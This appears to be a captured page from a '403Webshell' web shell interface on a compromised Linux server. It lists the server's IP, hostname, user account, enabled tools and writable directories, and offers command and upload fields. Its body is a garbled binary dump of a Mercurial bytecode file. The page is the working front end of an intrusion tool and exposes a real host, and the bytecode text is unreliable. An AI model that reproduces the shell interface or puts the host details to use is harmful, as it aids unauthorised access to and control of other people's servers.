403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/hgext/convert/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/hgext/convert/__pycache__/monotone.cpython-39.opt-1.pyc
a

�+�b:6�@svddlmZddlZddlZddlmZddlmZddlm	Z	m
Z
ddlmZddl
mZGd	d
�d
ejej�ZdS)�)�absolute_importN)�_)�open)�error�pycompat)�dateutil�)�commonc@s�eZdZd&dd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zd d!�Zd"d#�Zd$d%�ZdS)'�monotone_sourceNcCstj�|||||�|r2t|�dkr2t�td���tj�||d�||_||_	d|_
||_t�td�|�}t
j	�t
j	�|d��s�z t|d�}|�d�}|��Wnty�d	}Yn0|d
kr�|�d}d}	|	}
d
}d}t�|d|	�|_t�|d|	d|�|_t�|d|	d|�|_t�|d|	d|d|�|_t�|d|	d|	�|_t�|d|	�|_t�|d|	d|�|_t�||d|	d|
�|_|d||d|}
t�|
d|d�|_d|_d|_ d|_!d|_"tj#ddd�dS) Nrs9monotone source does not support specifying multiple revssmtnFs+%s does not look like a monotone repositorys_MTNsrb��sSQLite format 3s\s*s\s+"((?:\\"|[^"])*)"\s*s\s+\[(\w+)\]\s*s	(?:.|\n)+sdirsfilescontentsadd_filespatchsfromstosrenamesdeletestagsrevisionsnamesvaluesattrs
"mtn:execute"s"true")�abort)$r	�converter_source�__init__�lenr�Abortr�commandline�ui�path�
automatestdio�revsZNoRepo�os�exists�joinr�read�close�IOError�re�compile�dir_re�file_re�add_file_re�patch_re�	rename_re�	delete_re�tag_re�cert_re�attr_execute_re�manifest_rev�manifest�files�dirsZ	checktool)�selfrZrepotyperrZnorepo�f�header�space�name�value�revision�lines�attr�r5�</usr/lib64/python3.9/site-packages/hgext/convert/monotone.pyrsl��
�


�����zmonotone_source.__init__cOs*|jr|j|i|��S|j|i|��SdS�N)r�mtnrunstdio�mtnrunsingle�r,�args�kwargsr5r5r6�mtnrun\szmonotone_source.mtnruncOs"|j|d<|jdg|�Ri|��S)N�d�automate)rZrun0r:r5r5r6r9bs
zmonotone_source.mtnrunsinglecOs�t�|�}g}t�|�D]8\}}|�dt|�|f�|r|�dt|�|f�q|rl|�dd�|�d�|�d�|D]}|�dt|�|f�qz|�d�d�|�}|j�d|�|j	�
|�|j	��|�|�S)Ns%d:%sr�o�e�lrsmtn: sending '%s'
)
rZbyteskwargsZ	iteritems�appendr�insertrr�debug�
mtnwritefp�write�flush�mtnstdioreadcommandoutput)r,r;r<�command�k�v�argr5r5r6r8fs$





zmonotone_source.mtnrunstdiocCs@d}d}|dkr8|j�d�}|s.t�td���||7}q|dd�}|j�d�}|dvrjt�td�|��|j�d�}|dkr�t�td���d}d}|dkr�|j�d�}|s�t�td	���||7}q�zt�|dd��}Wn$ty�t�td
�|��Yn0|j�|�}t|�|k�r4t�td�t|�|f��||||fS)Nr�:rs%bad mtn packet - no end of commandnbr���smewptls#bad mtn packet - bad stream type %ss'bad mtn packet - no divider before sizes&bad mtn packet - no end of packet sizes#bad mtn packet - bad packet size %ss9bad mtn packet - unable to read full packet read %s of %s)	�	mtnreadfprrrrrZlong�	TypeErrorr)r,r�
commandnbr�streamZ	lengthstr�lengthr5r5r6�mtnstdioreadpacket~sN

�

�
�
��z"monotone_source.mtnstdioreadpacketcCs�g}|��\}}}}|j�d|||f�|dkrT|dkr�t�td�||f��q�q|dvr�|j�td�|j�|j�|�q|dkr�|j�d|�q|d	kr|�|�qd
�	|�S)Nsmtn: read packet %s:%s:%d
rB�0smtn command '%s' returned %ssews
%s error:
�psmtn: �mr)
rUrrErrr�warnrJrCr)r,rJZretvalrRrSrT�outputr5r5r6rI�s&��z)monotone_source.mtnstdioreadcommandoutputcCs�|j|krdS|�d|��d�|_||_i|_i|_|jD]n}|j�|�}|r�d}|�d�}|�d�}|j	�|�rz|d7}||f|j|<|j
�|�}|r:d|j|�d�<q:dS)Nsget_manifest_of�

rr��xT)r(r=�splitr)r*r+r �match�groupr'r)r,�rev�e�mr4r0�noder5r5r6�mtnloadmanifest�s$



zmonotone_source.mtnloadmanifestcCs|�|�||jvSr7)rer*�r,r0rar5r5r6�	mtnisfile�s
zmonotone_source.mtnisfilecCs|�|�||jvSr7)rer+rfr5r5r6�mtnisdir�s
zmonotone_source.mtnisdircCs�ddddd�}|�d|�}t�d|�}|D]@}|j�|�}|r*|��\}}|�dd�}|�dd�}|||<q*|d	�d
�dd|d	<|S)
Ns	<missing>)�author�date�	changelog�branchscertss\n\n {6}key ["\[]s\"�"s\\�\rj�.rs UTC)r=rr^r&r_�groups�replace)r,ra�certsZcertlistrbrcr0r1r5r5r6�mtngetcerts�s �
zmonotone_source.mtngetcertscCs|js|�d���S|jSdS)Nsleaves)rr=�
splitlines�r,r5r5r6�getheadsszmonotone_source.getheadscCs�|rt�td���|�d|��d�}i}i}g}i}|D]�}|j�|�}	|	rh|||	�d�<|||	�d�<|j�|�}	|	r�|||	�d�<|j	�|�}	|	r�|||	�d�<|j
�|�}	|	r8|	�d�}
|	�d�}|�|
|�r�d||
<|||
<|||
<|||<q8|�|
|�r8|�
||
f�q8|D]�\}}
i}|jD]D}||v�r:�q(|�|
d��r(||t|
�d�||<d||<�q(|��D]0\}}|j�d||fd�|||<|||<�qv|��D]}|||<�q��q|��|t�fS)	Ns-convert from monotone does not support --fullsget_revisionr[rr\�/s3copying file in renamed directory from '%s' to '%s'�
)rrrr=r^r!r_r`r"r$r#rgrhrCr*�
startswithr�itemsrrE�values�set)r,raZfullr2r*Z
ignoremoveZrenameddirsZcopiesrbrcZtonameZfromnameZfromdirZtodirZrenamedZtofileZfromfiler5r5r6�
getchangessf�




��zmonotone_source.getchangescCs^|�||�sdSz|jd||d�}Wnty8YdS0|�|�|j�|d�\}}||fS)N)NNsget_file_of)�r)Nr)rgr=�	Exceptionrer*�get)r,r0ra�datardr4r5r5r6�getfileEs
zmonotone_source.getfilec	Csni}|�|�}|�d�|dkr(d|d<d}tj|dt�t�|d|��|d||�d	|���|d|d
�S)Nssuspendrl�1scloses%Y-%m-%dT%H:%M:%Srirjrksparents)Zauthor�dateZdescra�parents�branch�extra)	rsr�r	ZcommitrZdatestrZstrdater=rt)r,rar�rrZ
dateformatr5r5r6�	getcommitPs
�zmonotone_source.getcommitcCsBi}|�d��d�D](}|j�|�}|r|�d�||�d�<q|S)Nstagsr[r\r)r=r^r%r_r`)r,�tagsrbrcr5r5r6�gettags`szmonotone_source.gettagscCst�dSr7)�NotImplementedError)r,ra�ir5r5r6�getchangedfileshszmonotone_source.getchangedfilescCs�z|�d�}t|�}Wn ty6t�td���Yn0|dkr�d|_|j�d|�|�	ddd|j
�\|_|_|j�
�}|d	kr�t�td
�|��|dkr�|j�
�}|s�t�td���q�n|j�d
|�dS)Nsinterface_versions2unable to determine mtn automate interface versiong(@Ts/mtn automate version %f - using automate stdio
r?sstdios-dsformat-version: 2
s(mtn automate stdio header unexpected: %srxs1failed to reach end of mtn automate stdio headerss^mtn automate version %s - not using automate stdio (automate >= 12.0 - mtn >= 0.46 is needed)
)r9�floatrrrrrrrEZ_run2rrFrP�readline)r,Z
versionstr�versionrr5r5r6�beforemsB
�
�
�

�
����zmonotone_source.beforecCs*|jr&|j��d|_|j��d|_dSr7)rrFrrPrur5r5r6�after�s


zmonotone_source.after)NN)�__name__�
__module__�__qualname__rr=r9r8rUrIrergrhrsrvr}r�r�r�r�r�r�r5r5r5r6r
s$
C.>)r
)Z
__future__rrrZmercurial.i18nrZmercurial.pycompatrZ	mercurialrrZmercurial.utilsr�r	rrr
r5r5r5r6�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit